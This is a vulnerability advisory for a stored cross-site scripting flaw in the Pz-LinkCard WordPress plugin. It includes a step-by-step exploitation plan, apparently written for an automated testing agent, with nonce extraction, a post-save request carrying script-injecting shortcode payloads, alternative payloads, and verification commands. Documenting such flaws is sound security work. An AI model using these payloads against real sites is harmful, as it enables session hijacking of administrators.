Pz-LinkCard <= 2.5.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Pz-LinkCard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blogcard' shortcode attributes in all versions up to, and including, 2.5.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.5.8.1# Exploitation Research Plan: CVE-2026-2434 (Pz-LinkCard Stored XSS) ## 1. Vulnerability Summary The **Pz-LinkCard** plugin (up to version 2.5.8.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to improper sanitization and escaping of attributes within its core shortcode, `[blogcard]`. Whi…
Show full research plan
Exploitation Research Plan: CVE-2026-2434 (Pz-LinkCard Stored XSS)
1. Vulnerability Summary
The Pz-LinkCard plugin (up to version 2.5.8.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to improper sanitization and escaping of attributes within its core shortcode, [blogcard]. While the plugin is designed to create visual "cards" for links, it fails to sufficiently neutralize user-supplied input when rendering the HTML for these cards. An authenticated attacker with Contributor privileges or higher can embed malicious JavaScript within shortcode attributes. When the post is rendered (either in the editor preview or on the frontend), the script executes in the context of the viewing user, potentially leading to administrative session hijacking.
2. Attack Vector Analysis
- Shortcode Name:
blogcard(inferred from description) - Vulnerable Attributes: Likely candidates include
class,url,title, ortarget(inferred based on common link-card plugin structures). - Authentication Level: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot publish or use
unfiltered_html. - Endpoint: Post Editor (
wp-admin/post.phporwp-admin/post-new.php). - Injection Point: The
contentparameter of a post-save/update request. - Preconditions: The Pz-LinkCard plugin must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode using
add_shortcode( 'blogcard', [ $this, 'render_shortcode' ] ). - Input: A Contributor saves a post containing:
[blogcard class='"><script>alert(1)</script>']. - Processing: When the page is viewed, WordPress calls the shortcode's callback function.
- Attribute Handling: The callback likely uses
shortcode_atts()to merge user input with defaults. - Vulnerable Sink: The function constructs an HTML string (e.g.,
<div class="' . $atts['class'] . '">...</div>) and returns it without applyingesc_attr()oresc_html()to the attributes. - Rendering: WordPress echoes the returned HTML, triggering the XSS in the browser.
4. Nonce Acquisition Strategy
Since this is an Authenticated (Contributor+) vulnerability, the attacker needs a valid WordPress session and a post-editing nonce (_wpnonce) to save a post.
- Login: Use
browser_navigateto log in as a Contributor. - Navigate to Editor: Go to
wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the post form.- JavaScript:
document.querySelector('#_wpnonce')?.value
- JavaScript:
- Extract Post ID: Get the
post_IDfrom the hidden input field or URL.- JavaScript:
document.querySelector('#post_ID')?.value
- JavaScript:
5. Exploitation Strategy
Step 1: Authentication and Session Setup
- Log in to the WordPress instance using the provided Contributor credentials.
- Maintain the cookie session for subsequent
http_requestcalls.
Step 2: Post Creation and Payload Injection
Send an http_request to save a draft post containing the malicious shortcode.
- URL:
https://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
(Note: Ifaction=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_title=XSS_Test &content=[blogcard class='"><script>alert(window.origin)</script>'] &post_status=draftclassis not vulnerable, try attributesurl,title, ortarget).
Step 3: Triggering the XSS
- As an Admin or the Contributor, navigate to the post's preview URL or view the post in the editor.
- URL:
https://[target]/?p=[POST_ID]&preview=true
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Setup: Ensure
pz-linkcardis installed and activated. - Initial Post: Use the
browser_navigatetool to open the editor and generate the initialpost_ID.
7. Expected Results
- The HTTP response for the post update should be a
302redirect back to the editor. - Upon navigating to the post preview, the browser should execute the JavaScript.
- In the rendered HTML source, you should see the broken attribute:
<div class=""><script>alert(window.origin)</script>" ...>
8. Verification Steps
- Database Check: Use
wp post get [POST_ID] --field=post_contentto verify the shortcode is stored correctly in the database. - HTML Source Audit: Use
http_request(GET) on the post URL and check if the payload is rendered without escaping:# Check if script tags exist in the output curl -s "http://localhost:8080/?p=[POST_ID]" | grep "<script>alert"
9. Alternative Approaches
If the class attribute is sanitized, try breaking out of other potential HTML contexts within the shortcode:
- URL Context:
[blogcard url='javascript:alert(1)'] - Image Context:
[blogcard image='x" onerror="alert(1)'] - Style Context:
[blogcard style='background:url("javascript:alert(1)")'] - Title/Text Context:
[blogcard title='</title><script>alert(1)</script>']
If the standard post.php endpoint is hardened, attempt to inject via the Gutenberg Block Editor (REST API) if the plugin provides a dedicated block that uses the same underlying rendering function.
Summary
The Pz-LinkCard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blogcard' shortcode attributes in all versions up to, and including, 2.5.8.1. This is due to insufficient input sanitization and output escaping on attributes such as 'class' or 'url', allowing authenticated attackers with Contributor-level access and above to inject arbitrary web scripts into pages.
Exploit Outline
1. Log in to the WordPress site with a user account having Contributor-level privileges or higher. 2. Create a new post or edit an existing one through the WordPress editor. 3. Insert a 'blogcard' shortcode containing a malicious payload within one of its attributes. For example, use the 'class' attribute to break out of the HTML context: [blogcard class='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or update it. Since Contributors cannot publish, the exploit is usually triggered via the preview function or when an Editor/Admin views the draft. 5. Navigate to the post's preview URL or the live page if published. The injected JavaScript will execute in the context of the viewing user's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.